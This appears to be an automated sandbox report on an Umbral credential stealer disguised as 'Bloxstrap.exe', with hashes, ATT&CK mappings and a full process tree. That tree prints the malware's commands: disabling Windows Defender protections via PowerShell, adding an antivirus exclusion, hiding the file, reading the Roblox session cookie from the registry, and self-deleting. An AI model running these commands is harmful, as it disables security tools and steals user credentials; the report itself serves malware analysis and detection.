umbral | 37f50c45194e4dcf42f6ab6cbc4af6a62fa2ce9ea7c00f4a6e4077262d017c32

Analysis

max time kernel
96s
max time network
97s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
04-08-2024 06:50

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General

Target

Bloxstrap.exe
Size

231KB
MD5

36abf093e4e50d21988db5942dcceab7
SHA1

86d06b38ea537d6ea3593628af634dc91350072f
SHA256

37f50c45194e4dcf42f6ab6cbc4af6a62fa2ce9ea7c00f4a6e4077262d017c32
SHA512

e4d22106e3d6650d8a508cf32f3dd796c6cc8586ffba143ede9f5eab468be01c660c2c25755fe4a8f1f5c9d6a2f589386844b51315e9a656072ce84ce4c867e7
SSDEEP

6144:xloZM+rIkd8g+EtXHkv/iD40msHmZHMgP6u35EwFaXb8e1mki:DoZtL+EP809HmZHMgP6u35EwFQW

Score

10^/10

umbral credential_access discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/3856-0-0x000001D5FB4E0000-0x000001D5FB520000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1008	powershell.exe
1792	powershell.exe
392	powershell.exe
1384	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Bloxstrap.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
21	discord.com
20	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4036	cmd.exe
4364	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1240	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4364	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3856	Bloxstrap.exe
1384	powershell.exe
1384	powershell.exe
1008	powershell.exe
1008	powershell.exe
1792	powershell.exe
1792	powershell.exe
4844	powershell.exe
4844	powershell.exe
392	powershell.exe
392	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3856	Bloxstrap.exe
Token: SeIncreaseQuotaPrivilege	4548	wmic.exe
Token: SeSecurityPrivilege	4548	wmic.exe
Token: SeTakeOwnershipPrivilege	4548	wmic.exe
Token: SeLoadDriverPrivilege	4548	wmic.exe
Token: SeSystemProfilePrivilege	4548	wmic.exe
Token: SeSystemtimePrivilege	4548	wmic.exe
Token: SeProfSingleProcessPrivilege	4548	wmic.exe
Token: SeIncBasePriorityPrivilege	4548	wmic.exe
Token: SeCreatePagefilePrivilege	4548	wmic.exe
Token: SeBackupPrivilege	4548	wmic.exe
Token: SeRestorePrivilege	4548	wmic.exe
Token: SeShutdownPrivilege	4548	wmic.exe
Token: SeDebugPrivilege	4548	wmic.exe
Token: SeSystemEnvironmentPrivilege	4548	wmic.exe
Token: SeRemoteShutdownPrivilege	4548	wmic.exe
Token: SeUndockPrivilege	4548	wmic.exe
Token: SeManageVolumePrivilege	4548	wmic.exe
Token: 33	4548	wmic.exe
Token: 34	4548	wmic.exe
Token: 35	4548	wmic.exe
Token: 36	4548	wmic.exe
Token: SeIncreaseQuotaPrivilege	4548	wmic.exe
Token: SeSecurityPrivilege	4548	wmic.exe
Token: SeTakeOwnershipPrivilege	4548	wmic.exe
Token: SeLoadDriverPrivilege	4548	wmic.exe
Token: SeSystemProfilePrivilege	4548	wmic.exe
Token: SeSystemtimePrivilege	4548	wmic.exe
Token: SeProfSingleProcessPrivilege	4548	wmic.exe
Token: SeIncBasePriorityPrivilege	4548	wmic.exe
Token: SeCreatePagefilePrivilege	4548	wmic.exe
Token: SeBackupPrivilege	4548	wmic.exe
Token: SeRestorePrivilege	4548	wmic.exe
Token: SeShutdownPrivilege	4548	wmic.exe
Token: SeDebugPrivilege	4548	wmic.exe
Token: SeSystemEnvironmentPrivilege	4548	wmic.exe
Token: SeRemoteShutdownPrivilege	4548	wmic.exe
Token: SeUndockPrivilege	4548	wmic.exe
Token: SeManageVolumePrivilege	4548	wmic.exe
Token: 33	4548	wmic.exe
Token: 34	4548	wmic.exe
Token: 35	4548	wmic.exe
Token: 36	4548	wmic.exe
Token: SeDebugPrivilege	1384	powershell.exe
Token: SeDebugPrivilege	1008	powershell.exe
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeDebugPrivilege	4844	powershell.exe
Token: SeIncreaseQuotaPrivilege	4648	wmic.exe
Token: SeSecurityPrivilege	4648	wmic.exe
Token: SeTakeOwnershipPrivilege	4648	wmic.exe
Token: SeLoadDriverPrivilege	4648	wmic.exe
Token: SeSystemProfilePrivilege	4648	wmic.exe
Token: SeSystemtimePrivilege	4648	wmic.exe
Token: SeProfSingleProcessPrivilege	4648	wmic.exe
Token: SeIncBasePriorityPrivilege	4648	wmic.exe
Token: SeCreatePagefilePrivilege	4648	wmic.exe
Token: SeBackupPrivilege	4648	wmic.exe
Token: SeRestorePrivilege	4648	wmic.exe
Token: SeShutdownPrivilege	4648	wmic.exe
Token: SeDebugPrivilege	4648	wmic.exe
Token: SeSystemEnvironmentPrivilege	4648	wmic.exe
Token: SeRemoteShutdownPrivilege	4648	wmic.exe
Token: SeUndockPrivilege	4648	wmic.exe
Token: SeManageVolumePrivilege	4648	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 3856 wrote to memory of 4548	3856	Bloxstrap.exe	86
PID 3856 wrote to memory of 4548	3856	Bloxstrap.exe	86
PID 3856 wrote to memory of 2908	3856	Bloxstrap.exe	89
PID 3856 wrote to memory of 2908	3856	Bloxstrap.exe	89
PID 3856 wrote to memory of 1384	3856	Bloxstrap.exe	91
PID 3856 wrote to memory of 1384	3856	Bloxstrap.exe	91
PID 3856 wrote to memory of 1008	3856	Bloxstrap.exe	93
PID 3856 wrote to memory of 1008	3856	Bloxstrap.exe	93
PID 3856 wrote to memory of 1792	3856	Bloxstrap.exe	95
PID 3856 wrote to memory of 1792	3856	Bloxstrap.exe	95
PID 3856 wrote to memory of 4844	3856	Bloxstrap.exe	97
PID 3856 wrote to memory of 4844	3856	Bloxstrap.exe	97
PID 3856 wrote to memory of 4648	3856	Bloxstrap.exe	99
PID 3856 wrote to memory of 4648	3856	Bloxstrap.exe	99
PID 3856 wrote to memory of 1576	3856	Bloxstrap.exe	101
PID 3856 wrote to memory of 1576	3856	Bloxstrap.exe	101
PID 3856 wrote to memory of 540	3856	Bloxstrap.exe	103
PID 3856 wrote to memory of 540	3856	Bloxstrap.exe	103
PID 3856 wrote to memory of 392	3856	Bloxstrap.exe	105
PID 3856 wrote to memory of 392	3856	Bloxstrap.exe	105
PID 3856 wrote to memory of 1240	3856	Bloxstrap.exe	107
PID 3856 wrote to memory of 1240	3856	Bloxstrap.exe	107
PID 3856 wrote to memory of 4036	3856	Bloxstrap.exe	109
PID 3856 wrote to memory of 4036	3856	Bloxstrap.exe	109
PID 4036 wrote to memory of 4364	4036	cmd.exe	111
PID 4036 wrote to memory of 4364	4036	cmd.exe	111

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2908	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Bloxstrap.exe
"C:\Users\Admin\AppData\Local\Temp\Bloxstrap.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3856
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4548
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\Bloxstrap.exe"
  2⤵
  - Views/modifies file attributes
  PID:2908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Bloxstrap.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1792
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4844
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4648
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1576
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:540
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:392
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:1240
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\Bloxstrap.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4036
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4364

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
966914e2e771de7a4a57a95b6ecfa8a9

SHA1
7a32282fd51dd032967ed4d9a40cc57e265aeff2

SHA256
98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

SHA512
dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6317adf4fbc43ea2fd68861fafd57155

SHA1
6b87c718893c83c6eed2767e8d9cbc6443e31913

SHA256
c1ead17eef37b4b461cedc276504a441489e819c7f943037f2001966aeec90af

SHA512
17229aae8622e4bfc3caaac55684f7d4ccd3162af5919c851b1d8ac4060b6bb7b75044ecee116523d05acb55197dcb60780958f629450edef386f1e6f65f49f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lm1mfbbw.voe.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1384-8-0x000002AC68A10000-0x000002AC68A32000-memory.dmp

Filesize
136KB

Download
memory/1384-13-0x00007FF9052A0000-0x00007FF905D61000-memory.dmp

Filesize
10.8MB

Download
memory/1384-18-0x00007FF9052A0000-0x00007FF905D61000-memory.dmp

Filesize
10.8MB

Download
memory/1384-14-0x00007FF9052A0000-0x00007FF905D61000-memory.dmp

Filesize
10.8MB

Download
memory/1384-15-0x00007FF9052A0000-0x00007FF905D61000-memory.dmp

Filesize
10.8MB

Download
memory/1792-60-0x000001AEEEE40000-0x000001AEEF05C000-memory.dmp

Filesize
2.1MB

Download
memory/1792-59-0x000001AED6820000-0x000001AED6868000-memory.dmp

Filesize
288KB

Download
memory/3856-33-0x000001D5FDC00000-0x000001D5FDC76000-memory.dmp

Filesize
472KB

Download
memory/3856-35-0x000001D5FDCA0000-0x000001D5FDCBE000-memory.dmp

Filesize
120KB

Download
memory/3856-34-0x000001D5FDCD0000-0x000001D5FDD20000-memory.dmp

Filesize
320KB

Download
memory/3856-0-0x000001D5FB4E0000-0x000001D5FB520000-memory.dmp

Filesize
256KB

Download
memory/3856-2-0x00007FF9052A0000-0x00007FF905D61000-memory.dmp

Filesize
10.8MB

Download
memory/3856-73-0x000001D5FDBA0000-0x000001D5FDBAA000-memory.dmp

Filesize
40KB

Download
memory/3856-74-0x000001D5FDBD0000-0x000001D5FDBE2000-memory.dmp

Filesize
72KB

Download
memory/3856-1-0x00007FF9052A3000-0x00007FF9052A5000-memory.dmp

Filesize
8KB

Download
memory/3856-92-0x000001D5FDE10000-0x000001D5FDFB9000-memory.dmp

Filesize
1.7MB

Download
memory/3856-93-0x00007FF9052A0000-0x00007FF905D61000-memory.dmp

Filesize
10.8MB

Download